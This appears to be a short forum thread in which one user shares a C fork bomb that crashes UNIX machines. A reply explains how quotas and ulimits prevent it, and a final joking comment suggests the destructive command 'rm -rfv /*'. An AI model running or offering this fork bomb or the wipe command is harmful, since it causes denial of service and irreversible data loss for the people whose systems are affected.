Malicious program
Wakegen dropped me that C program that crashes your UNIX machine.
Be careful! It’s dangerous, use it at your own risk
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t p=fork();
main();
}
It consists of the following: Creating infinte child processus until the buffer gets overloaded; it worked for me on GUI mode, but not text mode (gets stable).

Hi,
That’s an infinite loop that would keep creating processes for ever. As they say, Unix gives you enough rope to shoot yourself in the leg.
This is pretty much like your /tmp, any user can fill up /tmp and prevent some applications from running, desktop environments can usually get affected by this.
However, a correctly managed system should have filesystem quota implemented and a limitation on the resource usage (utlimits) active to prevent this kind of situations.

How about
rm -rfv /*You even shoot yourself in the head!! I have done it once, don’t ask how I could sleep, it was 2 days after!
